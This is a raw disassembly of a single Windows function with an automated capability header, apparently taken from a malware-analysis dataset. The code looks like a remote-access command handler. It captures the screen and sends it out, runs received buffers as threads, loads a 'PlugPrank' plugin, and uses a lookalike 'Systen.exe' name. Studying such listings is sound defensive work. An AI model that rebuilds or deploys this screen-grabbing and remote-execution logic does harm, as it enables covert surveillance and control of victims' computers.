Function at 0x40c5de
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c060
mov eax, dword fs:[0]
push eax
sub esp, 0xd2c
mov eax, dword [0x44f040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0xd38], edi
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xd2c], esi
mov dword [ebp - 0xd20], ecx
movzx eax, byte [esi]
cmp eax, 0xad
ja case.0x40a47c.2
movzx eax, byte [eax + 0x40d1e4]
jmp dword [eax*4 + 0x40d0b4]
cmp byte [esi + 1], 0
jne case.0x40a47c.2
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push esi
mov dword [ebp - 0xd20], esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 8
push esi
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [ebp - 0xd2c], eax
call esi
push 0xa
push dword [ebp - 0xd20]
mov edi, eax
call esi
mov esi, eax
push esi
push edi
push dword [ebp - 0xd20]
mov dword [ebp - 0xd24], esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push dword [ebp - 0xd2c]
mov dword [ebp - 0xd34], eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [ebp - 0xd20]
push esi
push edi
push 0
push 0
push dword [ebp - 0xd2c]
call dword [sym.imp.GDI32.dll_BitBlt]
mov dword [ebp - 0x2e8], edi
shl edi, 5
mov dword [ebp - 0x2e4], esi
mov dword [ebp - 0x2ec], 0x28
mov dword [ebp - 0x2e0], 0x200001
lea eax, [edi + 0x1f]
mov dword [ebp - 0x2cc], 0
cdq
and edx, 0x1f
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2d4], 0
lea edi, [edx + eax]
mov dword [ebp - 0x2d0], 0
sar edi, 5
mov eax, 0x4d42
imul edi, esi
mov word [ebp - 0x20], ax
xor eax, eax
mov dword [ebp - 0x16], 0x36
mov dword [ebp - 0x1a], eax
shl edi, 2
push edi
lea esi, [edi + 0x36]
mov dword [ebp - 0x1e], esi
call fcn.00419e38
push edi
push 0
push eax
mov dword [ebp - 0xd30], eax
call fcn.0041cce0
add esp, 0x10
lea eax, [ebp - 0x2ec]
push 0
push eax
push dword [ebp - 0xd30]
push dword [ebp - 0xd24]
push 0
push dword [ebp - 0xd34]
push dword [ebp - 0xd2c]
call dword [sym.imp.GDI32.dll_GetDIBits]
push esi
call fcn.00419e38
mov esi, eax
mov dword [ebp - 0xd18], esi
lea eax, [edi + 0x36]
push eax
push 0
push esi
call fcn.0041cce0
movq xmm0, qword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov ax, word [ebp - 0x14]
movq qword [esi], xmm0
mov dword [esi + 8], ecx
mov word [esi + 0xc], ax
lea eax, [esi + 0x36]
movups xmm0, xmmword [ebp - 0x2ec]
push edi
push dword [ebp - 0xd30]
movups xmmword [esi + 0xe], xmm0
push eax
movups xmm0, xmmword [ebp - 0x2dc]
movups xmmword [esi + 0x1e], xmm0
movq xmm0, qword [ebp - 0x2cc]
movq qword [esi + 0x2e], xmm0
call fcn.0041c760
lea esi, [edi + 0x38]
push esi
call fcn.00419e38
push dword [ebp - 0x1e]
mov edi, eax
push dword [ebp - 0xd18]
lea edx, [edi + 2]
mov word [edi], 0xa9
push edx
call fcn.0041c760
mov ecx, dword [ebp - 0xd38]
add esp, 0x2c
mov ecx, dword [ecx + 4]
push esi
push edi
call fcn.00401e00
push dword [ebp - 0xd34]
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
push dword [ebp - 0xd2c]
call esi
push dword [ebp - 0xd20]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [ebp - 0xd18]
call fcn.00419e41
push dword [ebp - 0xd30]
call fcn.00419e41
push edi
call fcn.00419e41
add esp, 0xc
jmp case.0x40a47c.2
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a720
test dl, dl
je 0x40a71c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a720
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a700
xor eax, eax
jmp 0x40a725
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov dword [ebp - 0x20], 0x402170
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
je 0x40a748
mov dword [ebp - 0x20], 0x4021d0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412ef0
push 0
push 0
call fcn.00424b5a
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [edi + 0xfac]
mov dword [edi + eax*4 + 0xc], esi
inc dword [edi + 0xfac]
jmp case.0x40a47c.2
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a7f6
test dl, dl
je 0x40a7f2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a7f6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a7d6
xor eax, eax
jmp 0x40a7fb
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a81c
mov dword [ebp - 0x20], 0x402230
jmp 0x40a748
mov dword [ebp - 0x20], 0x402290
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a890
test dl, dl
je 0x40a88c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a890
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a870
xor eax, eax
jmp 0x40a895
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a8b6
mov dword [ebp - 0x20], 0x4022f0
jmp 0x40a748
mov dword [ebp - 0x20], 0x402350
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a923
test dl, dl
je 0x40a91f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a923
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a903
xor eax, eax
jmp 0x40a928
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a949
mov dword [ebp - 0x20], 0x4023b0
jmp 0x40a748
mov dword [ebp - 0x20], 0x402410
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a9b6
test dl, dl
je 0x40a9b2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a9b6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a996
xor eax, eax
jmp 0x40a9bb
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a9dc
mov dword [ebp - 0x20], 0x402470
jmp 0x40a748
mov dword [ebp - 0x20], 0x4024d0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aa50
test dl, dl
je 0x40aa4c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aa50
add eax, 2
add ecx, 2
test dl, dl
jne 0x40aa30
xor eax, eax
jmp 0x40aa55
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40aa76
mov dword [ebp - 0x20], 0x402530
jmp 0x40a748
mov dword [ebp - 0x20], 0x402590
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aae3
test dl, dl
je 0x40aadf
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aae3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40aac3
xor eax, eax
jmp 0x40aae8
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ab09
mov dword [ebp - 0x20], 0x4025f0
jmp 0x40a748
mov dword [ebp - 0x20], 0x402650
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ab76
test dl, dl
je 0x40ab72
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ab76
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ab56
xor eax, eax
jmp 0x40ab7b
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ab9c
mov dword [ebp - 0x20], 0x4026b0
jmp 0x40a748
mov dword [ebp - 0x20], 0x402710
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ac10
test dl, dl
je 0x40ac0c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ac10
add eax, 2
add ecx, 2
test dl, dl
jne 0x40abf0
xor eax, eax
jmp 0x40ac15
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ac36
mov dword [ebp - 0x20], 0x402770
jmp 0x40a748
mov dword [ebp - 0x20], 0x4027d0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aca3
test dl, dl
je 0x40ac9f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aca3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ac83
xor eax, eax
jmp 0x40aca8
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40acc9
mov dword [ebp - 0x20], 0x402830
jmp 0x40a748
mov dword [ebp - 0x20], 0x402890
jmp 0x40a748
push 0
push 0
push 0
push 0
mov dword [ebp - 0x20], 0x409fa0
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412ef0
push 0
push 0
call fcn.00424b5a
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xd20]
push 4
dec eax
push 0x3000
push eax
push 0
mov dword [ebp - 0xd24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
push dword [ebp - 0xd24]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ad90
test dl, dl
je 0x40ad8c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ad90
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ad70
xor eax, eax
jmp 0x40ad95
sbb eax, eax
or eax, 1
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
jne 0x40adf1
mov dword [ebp - 0x20], 0x4028f0
call eax
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412ef0
push 0
push 0
call fcn.00424b5a
add esp, 0x18
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [ebp - 0x14]
call eax
push dword [ebp - 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
jmp 0x40a780
mov dword [ebp - 0x20], 0x402950
call eax
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412ef0
push 0
push 0
call fcn.00424b5a
add esp, 0x18
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [ebp - 0x14]
call eax
push dword [ebp - 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
jmp 0x40a780
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ae94
test dl, dl
je 0x40ae90
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ae94
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ae74
xor eax, eax
jmp 0x40ae99
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40aeba
mov dword [ebp - 0x20], 0x4029b0
jmp 0x40a748
mov dword [ebp - 0x20], 0x402a10
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40af27
test dl, dl
je 0x40af23
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40af27
add eax, 2
add ecx, 2
test dl, dl
jne 0x40af07
xor eax, eax
jmp 0x40af2c
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40af4d
mov dword [ebp - 0x20], 0x402a70
jmp 0x40a748
mov dword [ebp - 0x20], 0x402ad0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40afc0
test dl, dl
je 0x40afbc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40afc0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40afa0
xor eax, eax
jmp 0x40afc5
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40afe6
mov dword [ebp - 0x20], 0x402a70
jmp 0x40a748
mov dword [ebp - 0x20], 0x402b30
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b053
test dl, dl
je 0x40b04f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b053
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b033
xor eax, eax
jmp 0x40b058
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b079
mov dword [ebp - 0x20], 0x402b90
jmp 0x40a748
mov dword [ebp - 0x20], 0x402bf0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b0e6
test dl, dl
je 0x40b0e2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b0e6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b0c6
xor eax, eax
jmp 0x40b0eb
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b10c
mov dword [ebp - 0x20], 0x402c50
jmp 0x40a748
mov dword [ebp - 0x20], 0x402cb0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b180
test dl, dl
je 0x40b17c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b180
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b160
xor eax, eax
jmp 0x40b185
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b1a6
mov dword [ebp - 0x20], 0x402d10
jmp 0x40a748
mov dword [ebp - 0x20], 0x402d70
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b213
test dl, dl
je 0x40b20f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b213
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b1f3
xor eax, eax
jmp 0x40b218
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b239
mov dword [ebp - 0x20], 0x402dd0
jmp 0x40a748
mov dword [ebp - 0x20], 0x402e30
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b2a6
test dl, dl
je 0x40b2a2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b2a6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b286
xor eax, eax
jmp 0x40b2ab
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b2cc
mov dword [ebp - 0x20], 0x402e90
jmp 0x40a748
mov dword [ebp - 0x20], 0x402ef0
jmp 0x40a748
push 4
lea eax, [ecx - 1]
push 0x3000
push eax
push 0
mov dword [ebp - 0xd24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
push dword [ebp - 0xd24]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [ebp - 0xd18]
add esp, 0xc
mov dword [ebp - 0x20], 0x403ee0
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x44a464
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b390
test dl, dl
je 0x40b38c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b390
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b370
xor eax, eax
jmp 0x40b395
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b3b6
mov dword [ebp - 0x20], 0x402f50
jmp 0x40a748
mov dword [ebp - 0x20], 0x402fc0
jmp 0x40a748
push 4
lea eax, [ecx - 1]
push 0x3000
push eax
push 0
mov dword [ebp - 0xd24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a47c.2
push dword [ebp - 0xd24]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.0041c760
mov eax, dword [ebp - 0xd18]
add esp, 0xc
mov dword [ebp - 0x20], 0x403020
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0
jmp 0x40a748
push 4
push 0x3000
lea eax, [ecx - 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je case.0x40a47c.2
mov eax, dword [ebp - 0xd20]
lea ecx, [esi + 2]
add eax, 0xfffffffe
push eax
push ecx
push edi
call fcn.0041c760
movzx eax, byte [esi + 1]
add esp, 0xc
mov ecx, edi
mov dword [ebp - 0xd24], eax
call fcn.004113a0
mov esi, eax
test esi, esi
je 0x40b48c
mov edx, str.PlugPrank
mov ecx, esi
call fcn.00411710
push 0x4533b8
push dword [ebp - 0xd24]
push 0x44aace
call eax
add esp, 0xc
mov ecx, esi
call fcn.004117a0
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp case.0x40a47c.2
push 0
push 0
lea eax, [esi + 1]
mov dword [ebp - 0x20], 0x403fe0
push 0
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a748
push 0
push 0
lea eax, [esi + 1]
mov dword [ebp - 0x20], 0x403e30
push 0
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a748
mov dword [ebp - 0x20], 0x408450
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0x48]
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a748
mov dword [ebp - 0x20], 0x408460
jmp 0x40b4da
mov dword [ebp - 0x20], 0x408490
jmp 0x40b4da
mov dword [ebp - 0x20], 0x4084c0
jmp 0x40b4da
mov dword [ebp - 0x20], 0x4084f0
jmp 0x40b4da
mov dword [ebp - 0x20], 0x408520
jmp 0x40b4da
mov dword [ebp - 0x20], 0x408550
jmp 0x40b4da
mov dword [ebp - 0x20], 0x408580
jmp 0x40b4da
mov dword [ebp - 0x20], 0x4085b0
jmp 0x40b4da
push 0
push 0
lea eax, [esi + 1]
mov dword [ebp - 0x20], 0x4087b0
push 0
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a748
mov ax, word [0x44a894]
xorps xmm0, xmm0
movups xmmword [ebp - 0x248], xmm0
mov dword [ebp - 0x238], 0xa
movq xmm0, qword [str.Systen.exe]
mov dword [ebp - 0x234], 0xf
movq qword [ebp - 0x248], xmm0
mov word [ebp - 0x240], ax
mov byte [ebp - 0x23e], 0
lea ecx, [ebp - 0x248]
mov dword [ebp - 4], 0
call fcn.0040a360
push 0
test al, al
je 0x40b5d6
push str.C:ProgramDatagotohttp.ini
call fcn.00423640
add esp, 8
cmp eax, 0xffffffff
je 0x40b656
call fcn.00411020
mov ecx, eax
test ecx, ecx
je 0x40d075
jmp 0x40b6a0
mov ecx, 0x19
lea edi, [ebp - 0x328]
